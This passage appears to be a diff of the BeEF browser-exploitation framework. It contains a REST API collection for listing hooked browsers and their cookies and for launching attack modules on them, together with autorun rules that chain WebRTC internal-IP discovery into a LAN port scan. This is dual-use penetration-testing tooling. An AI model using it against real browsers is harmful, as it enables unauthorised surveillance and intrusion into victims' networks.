+					"mode": "raw",
+					"raw": "{\n\t\"username\": \"{{username}}\",\n\t\"password\": \"{{password}}\"\n\t\n}",
+					"options": {
+						"raw": {
+							"language": "json"
+						}
+					}
+				},
+				"url": {
+					"raw": "http://{{hostname}}:3000/api/admin/login",
+					"protocol": "http",
+					"host": [
+						"{{hostname}}"
+					],
+					"port": "3000",
+					"path": [
+						"api",
+						"admin",
+						"login"
+					]
+				},
+				"description": "In order to use the API, a token parameter must always be added to requests, otherwise a 401 error (Not Authorized) is returned.\n\nA new pseudo-random token is generated each time BeEF starts, using BeEF::Core::Crypto::api_token. The token is added to the BeEF::Configuration object.\n\nWhen BeEF starts the token is printed to the console. It should look something like:\n\n[16:02:47][*] RESTful API key: 320f3cf4da7bf0df7566a517c5db796e73a23f47\nGrabbing the Token from BeEF's API\n\nYou can issue a POST request to /api/admin/login using the BeEF credentials you have set in the main config.yaml file. This request will return the token in the response. You can parse the JSON and use it for your next requests requiring authentication."
+			},
+			"response": []
+		},
+		{
+			"name": "Get All Hooked Browsers",
+			"request": {
+				"method": "GET",
+				"header": [],
+				"url": {
+					"raw": "http://{{hostname}}:3000/api/hooks?token={{token}}",
+					"protocol": "http",
+					"host": [
+						"{{hostname}}"
+					],
+					"port": "3000",
+					"path": [
+						"api",
+						"hooks"
+					],
+					"query": [
+						{
+							"key": "token",
+							"value": "{{token}}"
+						}
+					]
+				},
+				"description": "Provides information (browser and OS version, cookies, enabled plugins, etc) about all hooked browsers (both online and offline)."
+			},
+			"response": []
+		},
+		{
+			"name": "Get Specific Hooked Browser",
+			"request": {
+				"method": "GET",
+				"header": [],
+				"url": {
+					"raw": "http://{{hostname}}:3000/api/hooks/{{session}}?token={{token}}",
+					"protocol": "http",
+					"host": [
+						"{{hostname}}"
+					],
+					"port": "3000",
+					"path": [
+						"api",
+						"hooks",
+						"{{session}}"
+					],
+					"query": [
+						{
+							"key": "token",
+							"value": "{{token}}"
+						}
+					]
+				},
+				"description": "\n    Provides information (browser and OS version, cookies, enabled plugins, etc) about a specific hooked browser.\n"
+			},
+			"response": []
+		},
+		{
+			"name": "Get All Hooked Browsers Logs",
+			"request": {
+				"method": "GET",
+				"header": [],
+				"url": {
+					"raw": "http://{{hostname}}:3000/api/logs?token={{token}}",
+					"protocol": "http",
+					"host": [
+						"{{hostname}}"
+					],
+					"port": "3000",
+					"path": [
+						"api",
+						"logs"
+					],
+					"query": [
+						{
+							"key": "token",
+							"value": "{{token}}"
+						}
+					]
+				},
+				"description": "The logs handler gives information about all hooked browser's logs, both global and relative."
+			},
+			"response": []
+		},
+		{
+			"name": "Get Specific Hooked Browsers Logs",
+			"request": {
+				"method": "GET",
+				"header": [],
+				"url": {
+					"raw": "http://{{hostname}}:3000/api/logs/{{session}}?token={{token}}",
+					"protocol": "http",
+					"host": [
+						"{{hostname}}"
+					],
+					"port": "3000",
+					"path": [
+						"api",
+						"logs",
+						"{{session}}"
+					],
+					"query": [
+						{
+							"key": "token",
+							"value": "{{token}}"
+						}
+					]
+				},
+				"description": " The logs handler gives information about a specified hooked browser's logs.\n"
+			},
+			"response": []
+		},
+		{
+			"name": "List All Command Modules",
+			"request": {
+				"method": "GET",
+				"header": [],
+				"url": {
+					"raw": "http://{{hostname}}:3000/api/modules?token={{token}}",
+					"protocol": "http",
+					"host": [
+						"{{hostname}}"
+					],
+					"port": "3000",
+					"path": [
+						"api",
+						"modules"
+					],
+					"query": [
+						{
+							"key": "token",
+							"value": "{{token}}"
+						}
+					]
+				},
+				"description": "List all available BeEF command modules."
+			},
+			"response": []
+		},
+		{
+			"name": "Get Information on Specific Module",
+			"request": {
+				"method": "GET",
+				"header": [],
+				"url": {
+					"raw": "http://{{hostname}}:3000/api/modules/{{module_id}}?token={{token}}",
+					"protocol": "http",
+					"host": [
+						"{{hostname}}"
+					],
+					"port": "3000",
+					"path": [
+						"api",
+						"modules",
+						"{{module_id}}"
+					],
+					"query": [
+						{
+							"key": "token",
+							"value": "{{token}}"
+						}
+					]
+				},
+				"description": "Get detailed information about a specific BeEF command module.\n"
+			},
+			"response": []
+		},
+		{
+			"name": "Launch Command Module on a Specific Browser",
+			"request": {
+				"method": "POST",
+				"header": [
+					{
+						"key": "Content-Type",
+						"name": "Content-Type",
+						"value": "application/json",
+						"type": "text"
+					}
+				],
+				"body": {
+					"mode": "raw",
+					"raw": "",
+					"options": {
+						"raw": {
+							"language": "json"
+						}
+					}
+				},
+				"url": {
+					"raw": "http://{{hostname}}:3000/api/modules/{{session}}/{{module_id}}?token={{token}}",
+					"protocol": "http",
+					"host": [
+						"{{hostname}}"
+					],
+					"port": "3000",
+					"path": [
+						"api",
+						"modules",
+						"{{session}}",
+						"{{module_id}}"
+					],
+					"query": [
+						{
+							"key": "token",
+							"value": "{{token}}"
+						}
+					]
+				},
+				"description": "Launch a specific BeEF command module on a given hooked browser.\n"
+			},
+			"response": []
+		},
+		{
+			"name": "Return Information About Previously Executed Module",
+			"protocolProfileBehavior": {
+				"disableBodyPruning": true
+			},
+			"request": {
+				"method": "GET",
+				"header": [
+					{
+						"key": "Content-Type",
+						"name": "Content-Type",
+						"value": "application/json",
+						"type": "text"
+					}
+				],
+				"body": {
+					"mode": "raw",
+					"raw": "",
+					"options": {
+						"raw": {
+							"language": "json"
+						}
+					}
+				},
+				"url": {
+					"raw": "http://{{hostname}}:3000/api/modules/{{session}}/{{module_id}}/{{cmd_id}}?token={{token}}",
+					"protocol": "http",
+					"host": [
+						"{{hostname}}"
+					],
+					"port": "3000",
+					"path": [
+						"api",
+						"modules",
+						"{{session}}",
+						"{{module_id}}",
+						"{{cmd_id}}"
+					],
+					"query": [
+						{
+							"key": "token",
+							"value": "{{token}}"
+						}
+					]
+				},
+				"description": "Returns information about a specific previously launched BeEF command module.\n"
+			},
+			"response": []
+		},
+		{
+			"name": "Send a Metasploit Module",
+			"request": {
+				"method": "POST",
+				"header": [],
+				"url": {
+					"raw": "http://{{hostname}}:3000/api/modules/{{session}}/{{module_id}}?token={{token}}",
+					"protocol": "http",
+					"host": [
+						"{{hostname}}"
+					],
+					"port": "3000",
+					"path": [
+						"api",
+						"modules",
+						"{{session}}",
+						"{{module_id}}"
+					],
+					"query": [
+						{
+							"key": "token",
+							"value": "{{token}}"
+						}
+					]
+				},
+				"description": "Launch a specific Metasploit module on a given hooked browser\n"
+			},
+			"response": []
+		},
+		{
+			"name": " Send a Module to Multiple Hooked Browsers",
+			"request": {
+				"method": "POST",
+				"header": [
+					{
+						"key": "Content-Type",
+						"name": "Content-Type",
+						"value": "application/json",
+						"type": "text"
+					}
+				],
+				"body": {
+					"mode": "raw",
+					"raw": "",
+					"options": {
+						"raw": {
+							"language": "json"
+						}
+					}
+				},
+				"url": {
+					"raw": "http://{{hostname}}:3000/api/modules/multi_browser?token={{token}}",
+					"protocol": "http",
+					"host": [
+						"{{hostname}}"
+					],
+					"port": "3000",
+					"path": [
+						"api",
+						"modules",
+						"multi_browser"
+					],
+					"query": [
+						{
+							"key": "token",
+							"value": "{{token}}"
+						}
+					]
+				},
+				"description": "Fire a new command module to multiple hooked browsers. Returns the command IDs of the launched module, or 0 if firing got issues."
+			},
+			"response": []
+		},
+		{
+			"name": " Send Multiple Modules to a Single Hooked Browser",
+			"request": {
+				"method": "POST",
+				"header": [
+					{
+						"key": "Content-Type",
+						"name": "Content-Type",
+						"value": "application/json",
+						"type": "text"
+					}
+				],
+				"body": {
+					"mode": "raw",
+					"raw": "",
+					"options": {
+						"raw": {
+							"language": "json"
+						}
+					}
+				},
+				"url": {
+					"raw": "http://{{hostname}}:3000/api/modules/multi_module?token={{token}}",
+					"protocol": "http",
+					"host": [
+						"{{hostname}}"
+					],
+					"port": "3000",
+					"path": [
+						"api",
+						"modules",
+						"multi_module"
+					],
+					"query": [
+						{
+							"key": "token",
+							"value": "{{token}}"
+						}
+					]
+				},
+				"description": "Fire multiple command modules to a single hooked browser. Returns the command IDs of the launched modules, or 0 if firing got issues."
+			},
+			"response": []
+		},
+		{
+			"name": "List the DNS ruleset",
+			"request": {
+				"method": "GET",
+				"header": [],
+				"url": {
+					"raw": "http://{{hostname}}:3000/api/dns/ruleset?token={{token}}",
+					"protocol": "http",
+					"host": [
+						"{{hostname}}"
+					],
+					"port": "3000",
+					"path": [
+						"api",
+						"dns",
+						"ruleset"
+					],
+					"query": [
+						{
+							"key": "token",
+							"value": "{{token}}"
+						}
+					]
+				},
+				"description": "Returns the current set of DNS rules.\n"
+			},
+			"response": []
+		},
+		{
+			"name": "List a Specific DNS Rule",
+			"request": {
+				"method": "GET",
+				"header": [],
+				"url": {
+					"raw": "http://{{hostname}}:3000/api/dns/rule/{{dnsrule_id}}?token={{token}}",
+					"protocol": "http",
+					"host": [
+						"{{hostname}}"
+					],
+					"port": "3000",
+					"path": [
+						"api",
+						"dns",
+						"rule",
+						"{{dnsrule_id}}"
+					],
+					"query": [
+						{
+							"key": "token",
+							"value": "{{token}}"
+						}
+					]
+				},
+				"description": "Returns an individual DNS rule given its unique id.\n"
+			},
+			"response": []
+		},
+		{
+			"name": "Add a New DNS Rule",
+			"request": {
+				"method": "POST",
+				"header": [
+					{
+						"key": "Content-Type",
+						"name": "Content-Type",
+						"value": "application/json",
+						"type": "text"
+					}
+				],
+				"body": {
+					"mode": "raw",
+					"raw": "",
+					"options": {
+						"raw": {
+							"language": "json"
+						}
+					}
+				},
+				"url": {
+					"raw": "http://{{hostname}}:3000/api/dns/rule?token={{token}}",
+					"protocol": "http",
+					"host": [
+						"{{hostname}}"
+					],
+					"port": "3000",
+					"path": [
+						"api",
+						"dns",
+						"rule"
+					],
+					"query": [
+						{
+							"key": "token",
+							"value": "{{token}}"
+						}
+					]
+				},
+				"description": "Adds a new DNS rule or \"resource record\". Does nothing if rule is already present.\n"
+			},
+			"response": []
+		},
+		{
+			"name": "Remove an Existing DNS Rule",
+			"request": {
+				"method": "DELETE",
+				"header": [],
+				"url": {
+					"raw": "http://{{hostname}}:3000/api/dns/rule/{{dnsrule_id}}?token={{token}}",
+					"protocol": "http",
+					"host": [
+						"{{hostname}}"
+					],
+					"port": "3000",
+					"path": [
+						"api",
+						"dns",
+						"rule",
+						"{{dnsrule_id}}"
+					],
+					"query": [
+						{
+							"key": "token",
+							"value": "{{token}}"
+						}
+					]
+				},
+				"description": "Removes an individual DNS rule with a specified unique ID.\n"
+			},
+			"response": []
+		}
+	],
+	"protocolProfileBehavior": {}
+}

Rakefile

@@ -1,64 +1,26 @@
 #
-# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #
 require 'yaml'
+require 'bundler/setup'
+load 'tasks/otr-activerecord.rake'
 #require 'pry-byebug'
 
-task :default => ["quick"]
 
-desc "Run quick tests"
-task :quick do
-  Rake::Task['unit'].invoke # run unit tests
-end
-
-desc "Run all tests"
-task :all do
-  Rake::Task['integration'].invoke # run integration tests
-  Rake::Task['unit'].invoke # run unit tests
-  Rake::Task['msf'].invoke # run msf tests
-end
-
-desc "Run automated tests (for Jenkins)"
-task :automated do
-  Rake::Task['xserver_start'].invoke
-  Rake::Task['all'].invoke
-  Rake::Task['xserver_stop'].invoke
-end
-
-desc "Run integration unit tests"
-task :integration => ["install"] do
-  Rake::Task['beef_start'].invoke
-  sh "export DISPLAY=:0; cd test/integration;ruby -W0 ts_integration.rb"
-  Rake::Task['beef_stop'].invoke
-end
-
-desc "Run integration unit tests"
-task :unit => ["install"] do
-  sh "cd test/unit;ruby -W0 ts_unit.rb"
-end
-
-desc "Run MSF unit tests"
-task :msf => ["install", "msf_install"] do
-  Rake::Task['msf_update'].invoke
-  Rake::Task['msf_start'].invoke
-  sh "cd test/thirdparty/msf/unit/;ruby -W0 ts_metasploit.rb"
-  Rake::Task['msf_stop'].invoke
-end
+task :default => ["spec"]
 
 desc 'Generate API documentation to doc/rdocs/index.html'
 task :rdoc do
   Rake::Task['rdoc:rerdoc'].invoke
 end
 
-desc 'rest test examples'
-task :rest_test do
-  Rake::Task['beef_start'].invoke
+## RSPEC
+require 'rspec/core/rake_task'
 
-  sh 'cd test/api/; ruby -W2 1333_auth_rate.rb'
-
-  Rake::Task['beef_stop'].invoke
+RSpec::Core::RakeTask.new(:spec) do |task|
+  task.rspec_opts = ['--tag ~run_on_browserstack']
 end
 
 ################################
@@ -153,7 +115,7 @@ task :beef_start => 'beef' do
   test_pass = ENV['TEST_BEEF_PASS'] || 'bad_fred_no_access'
 
   # write a rake config file for beef
-  config = YAML.load(File.read('./config.yaml'))
+  config = YAML.safe_load(File.read('./config.yaml'))
   config['beef']['credentials']['user'] = test_user
   config['beef']['credentials']['passwd'] = test_pass
   Dir.mkdir('tmp') unless Dir.exists?('tmp')
@@ -276,5 +238,10 @@ task :cde_beef_start => 'beef' do
   puts '.'
 end
 
-
 ################################
+# ActiveRecord
+namespace :db do
+  task :environment do
+    require_relative "beef"
+  end
+end

VERSION

@@ -1,7 +1,7 @@
 #
-# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #
 
-0.4.7.2-alpha
+0.5.2.0

_config.yml

@@ -0,0 +1 @@
+theme: jekyll-theme-minimal

arerules/lan_port_scan.json

@@ -0,0 +1,29 @@
+{"name": "LAN Port Scan",
+  "author": "aburro & aussieklutz",
+  "browser": "ALL",
+  "browser_version": "ALL",
+  "os": "ALL",
+  "os_version": "ALL",
+  "modules": [
+    {"name": "get_internal_ip_webrtc",
+      "condition": null,
+      "code": null,
+      "options": {}
+    },
+    {"name": "port_scanner",
+      "condition": "status==1",
+      "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.'+s[3]; var mod_input = start;",
+      "options": {
+        "ipHost":"<<mod_input>>",
+        "ports":"80,8080",
+        "closetimeout":"1100",
+        "opentimeout":"2500",
+        "delay":"600",
+        "debug":"false"
+      }
+    }
+  ],
+  "execution_order": [0, 1],
+  "execution_delay": [0, 0],
+  "chain_mode": "nested-forward"
+}

arerules/lan_sw_port_scan.json

@@ -0,0 +1,25 @@
+{"name": "LAN SW Port Scan",
+  "author": "aburro & aussieklutz",
+  "browser": "ALL",
+  "browser_version": "ALL",
+  "os": "ALL",
+  "os_version": "ALL",
+  "modules": [
+    {"name": "get_internal_ip_webrtc",
+      "condition": null,
+      "code": null,
+      "options": {}
+    },
+    {"name": "sw_port_scanner",
+      "condition": "status==1",
+      "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.'+s[3]; var mod_input = start;",
+      "options": {
+        "ipHost":"192.168.1.10",
+        "ports":"80,8080"
+      }
+    }
+  ],
+  "execution_order": [0, 1],
+  "execution_delay": [0, 0],
+  "chain_mode": "nested-forward"
+}

beef

@@ -1,7 +1,7 @@
 #!/usr/bin/env ruby
 
 #
-# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #
@@ -12,11 +12,11 @@
 $VERBOSE = nil
 
 #
-# @note Version check to ensure BeEF is running Ruby 2.4+
+# @note Version check to ensure BeEF is running Ruby 2.5+
 #
-if RUBY_VERSION < '2.4'
+if RUBY_VERSION < '2.5'
   puts
-  puts "Ruby version #{RUBY_VERSION} is no longer supported. Please upgrade to Ruby version 2.4 or later."
+  puts "Ruby version #{RUBY_VERSION} is no longer supported. Please upgrade to Ruby version 2.5 or later."
   puts
   exit 1
 end
@@ -42,6 +42,28 @@ $home_dir = File.expand_path("#{Dir.home}/.beef/", __FILE__).freeze
 # @note Require core loader
 #
 require 'core/loader'
+require 'timeout'
+
+#
+# @note Ask user if they would like to update beef
+#
+
+if BeEF::Core::Console::CommandLine.parse[:update_disabled] == false
+  if BeEF::Core::Console::CommandLine.parse[:update_auto] == true
+  print "Pulling latest BeEF repository and updating"
+  `git pull && bundle`  
+  else
+    begin
+      answer = Timeout::timeout(5) do
+        print "Would you like to check and download the latest BeEF update? y/n: " 
+        response = gets
+        `git pull && bundle` if response.strip == 'y' 
+      end
+      rescue Timeout::Error
+        puts "\nUpdate Skipped with input timeout"
+      end
+  end
+end
 
 #
 # @note Create ~/.beef/
@@ -109,21 +131,13 @@ end
 #
 # @note Validate beef.http.public and beef.http.public_port
 #
-unless config.get('beef.http.public').to_s.eql?('') || BeEF::Filters.is_valid_hostname?(config.get('beef.http.public'))
-  print_error "ERROR: Invalid public hostname: #{config.get('beef.http.public')}"
+unless config.get('beef.http.public.host').to_s.eql?('') || BeEF::Filters.is_valid_hostname?(config.get('beef.http.public.host'))
+  print_error "ERROR: Invalid public hostname: #{config.get('beef.http.public.host')}"
   exit 1
 end
 
-unless config.get('beef.http.public_port').to_s.eql?('') || BeEF::Filters.is_valid_port?(config.get('beef.http.public_port'))
-  print_error "ERROR: Invalid public port: #{config.get('beef.http.public_port')}"
-  exit 1
-end
-
-#
-# @note Validate database driver
-#
-unless ['sqlite', 'postgres', 'mysql'].include? config.get('beef.database.driver')
-  print_error 'No default database selected. Please add one in config.yaml'
+unless config.get('beef.http.public.port').to_s.eql?('') || BeEF::Filters.is_valid_port?(config.get('beef.http.public.port'))
+  print_error "ERROR: Invalid public port: #{config.get('beef.http.public.port')}"
   exit 1
 end
 
@@ -160,45 +174,31 @@ BeEF::Modules.load
 Socket.do_not_reverse_lookup = true
 
 #
-# @note Database setup - use DataMapper::Logger.new($stdout, :debug) for development debugging
+# @note Database setup
 #
-case config.get("beef.database.driver")
-  when "sqlite"
-    DataMapper.setup(:default, "sqlite3://#{$root_dir}/#{config.get("beef.database.db_file")}")
-  when "mysql", "postgres"
-    DataMapper.setup(:default,
-                     :adapter => config.get("beef.database.driver"),
-                     :host => config.get("beef.database.db_host"),
-                     :port => config.get("beef.database.db_port"),
-                     :username => config.get("beef.database.db_user"),
-                     :password => config.get("beef.database.db_passwd"),
-                     :database => config.get("beef.database.db_name"),
-                     :encoding => config.get("beef.database.db_encoding")
-    )
-  else
-    print_error 'No default database selected. Please add one in config.yaml'
-    exit 1
-end
-
 #
 # @note Load the database
 #
-begin
-  # @note Resets the database if the -x flag was passed
-  if BeEF::Core::Console::CommandLine.parse[:resetdb]
-    print_info 'Resetting the database for BeEF.'
-    DataMapper.auto_migrate!
-  else
-    DataMapper.auto_upgrade!
-  end
-rescue => e
-  print_error "Could not connect to database: #{e.message}"
-  if config.get("beef.database.driver") == 'sqlite'
-    print_error "Ensure the #{$root_dir}/#{config.get("beef.database.db_file")} database file is writable"
-  end
-  exit 1
+db_file = config.get('beef.database.file')
+# @note Resets the database if the -x flag was passed
+if BeEF::Core::Console::CommandLine.parse[:resetdb]
+  print_info 'Resetting the database for BeEF.'
+  File.delete(db_file) if File.exists?(db_file)
+end
+# Connect to DB
+ActiveRecord::Base.logger = nil
+OTR::ActiveRecord.migrations_paths = [File.join('core', 'main', 'ar-migrations')]
+OTR::ActiveRecord.configure_from_hash!(adapter:'sqlite3', database:db_file)
+# otr-activerecord require you to manually establish the connection with the following line
+#Also a check to confirm that the correct Gem version is installed to require it, likely easier for old systems.
+if Gem.loaded_specs['otr-activerecord'].version > Gem::Version.create('1.4.2')
+  OTR::ActiveRecord.establish_connection!
+end
+# Migrate (if required)
+context = ActiveRecord::Migration.new.migration_context
+if context.needs_migration?
+  ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration).migrate
 end
-
 #
 # @note Extensions may take a moment to load, thus we print out a please wait message
 #

conf.json

@@ -0,0 +1,16 @@
+{
+    "source": {
+        "include": ["./core/main/client"],
+        "includePattern": ".js$"
+    },
+    "plugins": [
+        "plugins/markdown"
+    ],
+    "opts": {
+        "encoding": "utf8",
+        "readme": "./README.md",
+        "destination": "docs/",
+        "recurse": true,
+        "verbose": true
+    }
+}

config.yaml

@@ -1,12 +1,12 @@
 #
-# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #
 # BeEF Configuration file
 
 beef:
-    version: '0.4.7.2-alpha'
+    version: '0.5.2.0'
     # More verbose messages (server-side)
     debug: false
     # More verbose messages (client-side)
@@ -27,6 +27,8 @@ beef:
         # subnet of IP addresses that can connect to the admin UI
         #permitted_ui_subnet: ["127.0.0.1/32", "::1/128"]
         permitted_ui_subnet: ["0.0.0.0/0", "::/0"]
+        # subnet of IP addresses that cannot be hooked by the framework
+        excluded_hooking_subnet: []
         # slow API calls to 1 every  api_attempt_delay  seconds
         api_attempt_delay: "0.05"
 
@@ -45,14 +47,21 @@ beef:
 
         # Host Name / Domain Name
         # If you want BeEF to be accessible via hostname or domain name (ie, DynDNS),
-        #   set the public hostname below:
-        #public: ""      # public hostname/IP address
+        # These settings will be used to create a public facing URL
+        # This public facing URL will be used for all hook related calls
+        # set the public setting below:
+        # public:
+        #     host: "" # public hostname/IP address
+        #     port: "" # public port will default to 80 if no https 443 if https 
+                      # and local if not set but there is a public host
+        #     https: false # true/false
 
         # Reverse Proxy / NAT
         # If you want BeEF to be accessible behind a reverse proxy or NAT,
         #   set both the publicly accessible hostname/IP address and port below:
-        #public: ""      # public hostname/IP address
-        #public_port: "" # public port (experimental)
+        # NOTE: Allowing the reverse proxy will enable a vulnerability where the ui/panel can be spoofed
+        #   by altering the X-FORWARDED-FOR ip address in the request header.
+        allow_reverse_proxy: false
 
         # Hook
         hook_file: "/hook.js"
@@ -72,7 +81,7 @@ beef:
             # NOTE: works only on HTTPS domains and with HTTPS support enabled in BeEF
             secure: true
             secure_port: 61986 # WSSecure
-            ws_poll_timeout: 1000 # poll BeEF every second
+            ws_poll_timeout: 5000 # poll BeEF every x second, this affects how often the browser can have a command execute on it
             ws_connect_timeout: 500 # useful to help fingerprinting finish before establishing the WS channel
 
         # Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)
@@ -84,34 +93,15 @@ beef:
         # Experimental HTTPS support for the hook / admin / all other Thin managed web services
         https:
             enable: false
+            # Enabled this config setting if you're external facing uri is using https
+            public_enabled: false
             # In production environments, be sure to use a valid certificate signed for the value
             # used in beef.http.public (the domain name of the server where you run BeEF)
             key: "beef_key.pem"
             cert: "beef_cert.pem"
 
     database:
-        # For information on using other databases please read the
-        # README.databases file
-
-        # supported DBs: sqlite, mysql, postgres
-        # NOTE: you must change the Gemfile adding a gem require line like:
-        #   gem "dm-postgres-adapter"
-        # or
-        #   gem "dm-mysql-adapter"
-        # if you want to switch drivers from sqlite to postgres (or mysql).
-        # Finally, run a 'bundle install' command and start BeEF.
-        driver: "sqlite"
-
-        # db_file is only used for sqlite
-        db_file: "beef.db"
-
-        # db connection information is only used for mysql/postgres
-        db_host: "localhost"
-        db_port: 3306
-        db_name: "beef"
-        db_user: "beef"
-        db_passwd: "beef"
-        db_encoding: "UTF-8"
+        file: "beef.db"
 
     # Autorun Rule Engine
     autorun:

core/api.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #

core/api/extension.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #

core/api/extensions.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #

core/api/main/configuration.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #

core/api/main/migration.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #

core/api/main/network_stack/assethandler.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #

core/api/main/server.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #

core/api/main/server/hook.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #

core/api/module.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #

core/api/modules.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #

core/bootstrap.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #
@@ -12,11 +12,13 @@ end
 ## @note Include the BeEF router
 require 'core/main/router/router'
 require 'core/main/router/api'
+require 'core/main/router/error_responses'
 
 
 ## @note Include http server functions for beef
 require 'core/main/server'
 require 'core/main/handlers/modules/beefjs'
+require 'core/main/handlers/modules/legacybeefjs'
 require 'core/main/handlers/modules/command'
 require 'core/main/handlers/commands'
 require 'core/main/handlers/hookedbrowsers'
@@ -30,8 +32,6 @@ require 'core/main/network_stack/assethandler'
 require 'core/main/network_stack/api'
 
 # @note Include the autorun engine
-require 'core/main/autorun_engine/models/rule'
-require 'core/main/autorun_engine/models/execution'
 require 'core/main/autorun_engine/parser'
 require 'core/main/autorun_engine/engine'
 require 'core/main/autorun_engine/rule_loader'

core/core.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #
@@ -10,6 +10,7 @@ end
 end
 
 # @note Includes database models - the order must be consistent otherwise DataMapper goes crazy
+require 'core/main/model'
 require 'core/main/models/commandmodule'
 require 'core/main/models/hookedbrowser'
 require 'core/main/models/log'
@@ -17,6 +18,8 @@ require 'core/main/models/command'
 require 'core/main/models/result'
 require 'core/main/models/optioncache'
 require 'core/main/models/browserdetails'
+require 'core/main/models/rule'
+require 'core/main/models/execution'
 
 # @note Include the constants
 require 'core/main/constants/browsers'

core/extension.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #

core/extensions.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #
@@ -10,12 +10,18 @@ module BeEF
     # @return [Array] an array of extension configuration hashes that are enabled
     def self.get_enabled
       BeEF::Core::Configuration.instance.get('beef.extension').select { |k,v| v['enable'] == true }
+    rescue => e
+      print_error "Failed to get enabled extensions: #{e.message}"
+      print_error e.backtrace
     end
 
     # Returns configuration of all loaded extensions
     # @return [Array] an array of extension configuration hashes that are loaded
     def self.get_loaded
       BeEF::Core::Configuration.instance.get('beef.extension').select {|k,v| v['loaded'] == true }
+    rescue => e
+      print_error "Failed to get loaded extensions: #{e.message}"
+      print_error e.backtrace
     end
 
     # Load all enabled extensions
@@ -27,6 +33,9 @@ module BeEF
       }
       # API post extension load
       BeEF::API::Registrar.instance.fire BeEF::API::Extensions, 'post_load'
+    rescue => e
+      print_error "Failed to load extensions: #{e.message}"
+      print_error e.backtrace
     end
   end
 end

core/filters.rb

@@ -1,5 +1,5 @@
 #
